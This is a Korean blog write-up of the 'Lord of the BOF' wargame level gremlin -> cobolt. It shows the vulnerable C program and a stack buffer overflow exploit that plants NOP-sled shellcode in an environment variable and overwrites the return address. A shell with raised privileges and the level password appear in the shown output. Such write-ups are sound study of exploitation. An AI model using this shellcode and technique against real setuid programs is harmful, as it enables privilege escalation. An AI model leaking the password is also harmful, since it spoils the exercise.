관리 메뉴

IT창고

[BOF] gremlin -> cobolt 본문

WarGame/The Load of the BOF

[BOF] gremlin -> cobolt

방구석여포 2018. 2. 10. 22:55

gremlin 문제입니다.


/*

        The Lord of the BOF : The Fellowship of the BOF

        - cobolt

        - small buffer

*/


int main(int argc, char *argv[])

{

    char buffer[16];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}


지역변수 buffer에 16byte만 들어갑니다. 제가 가진 쉘코드는 최소가 25이기 때문에 바로 올리기에는 무리가 있습니다. 
16byte쉘코드는 제가 만들수없어서 다른 방법을 사용했습니다.
환경변수에 쉘코드를 올려서 사용할수있습니다. argv[0]에는 처음 프로그램이 실행이 될때 처음에 환경변수를 불러옵니다.

export 명령어로 환경변수에 쉘코드를 올려줍니다.


[gremlin@localhost gremlin]$ export SH=$(python -c 'print "\x90"*100000+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"')

중간에 NOP코드를 많이 올리면 올릴수록 주소보정하기 쉬워집니다.

환경변수에 제대로 올라왔는지 확인합니다.


[gremlin@localhost gremlin]$ ./cobolt $(python -c 'print "\x90"*20+"\x0f\xde\xff\xbf"')

߿¿

bash$ id

uid=501(gremlin) gid=501(gremlin) euid=502(cobolt) egid=502(cobolt) groups=501(gremlin)

bash$ my-pass

euid = 502

hacking exposed

bash$ 


주소보정없이 바로 성공했습니다.



'WarGame > The Load of the BOF' 카테고리의 다른 글

[BOF] wolfman -> darkelf  (0) 2018.02.12
[BOF] orc -> wolfman  (0) 2018.02.12
[BOF] goblin -> orc  (0) 2018.02.11
[BOF] cobolt -> goblin  (0) 2018.02.10
[BOF] gate-> gremlin  (0) 2018.02.09
Comments